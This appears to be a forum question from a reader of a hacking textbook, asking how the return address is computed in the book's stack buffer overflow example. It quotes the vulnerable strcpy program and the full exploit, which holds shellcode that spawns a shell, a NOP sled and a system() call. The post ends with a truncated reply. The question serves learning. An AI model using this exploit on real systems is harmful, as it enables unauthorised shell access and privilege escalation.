I'm reading the book "Hacking- The Art of Exploitation 2nd edition".
I'm confused about the following example of injecting a string buffer as an argument to a stack based buffer overflow vulnerable process.
Buffer structure:
| NOP | NOP...NOP | NOP | shell code | RET | RET...RET |
In the vulnerable process this buffer is copied to a char buffer and should overflow and replace base stack parameters which also include the original return address.
According to the text - RET should point to some location on the NOP slide to get EIP slide down the NOP slide and execute the shell code - sounds great !
However, how is this RET address deduced?
Vulnerable code (process #1):
int main(int argc, char *argv[]) {
int userid, printing=1, fd; // File descriptor
char searchstring[100];
if(argc > 1) // If there is an arg
strcpy(searchstring, argv[1]); //<-------- buffer is injected here
else // otherwise,
searchstring[0] = 0;
Exploitation code -process #2:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80";
int main(int argc, char *argv[]) {
unsigned int i, *ptr, ret;
char *command, *buffer;
unsigned int offset=atoi(argv[1]);
command = (char *) malloc(200);
bzero(command, 200); // Zero out the new memory.
strcpy(command, "./notesearch \'"); // Start command buffer.
buffer = command + strlen(command); // Set buffer at the end.
if(argc > 1) // Set offset.
offset = atoi(argv[1]);
ret = (unsigned int) &i - offset; //Set return address <---- How ???
for(i=0; i < 160; i+=4) // Fill buffer with return address.
*((unsigned int *)(buffer+i)) = ret;
memset(buffer, 0x90, 60); // Build NOP sled.
memcpy(buffer+60, shellcode, sizeof(shellcode)-1);
strcat(command, "\'");
system(command); // Run exploit.
free(command);
}
Is this a coincidence that i variable declared on top of process#2 main? Should ret get the return value from some place within process#1's main's stack?
Edit: Specifically I don't understand how can one process access other process's memory space-
ret = (unsigned int) &i - offset; //Set return address
Or maybe I misunderstood something here.
system(command);
) If so, then its registers will be in higher memory addresses (stack, data, bss) or lower memory addresses (heap) than Process #2. However, if Process #2 is called in Process #1, then the reverse will be true: Process #2 will be in higher/lower memory addresses. – absoluteAquarian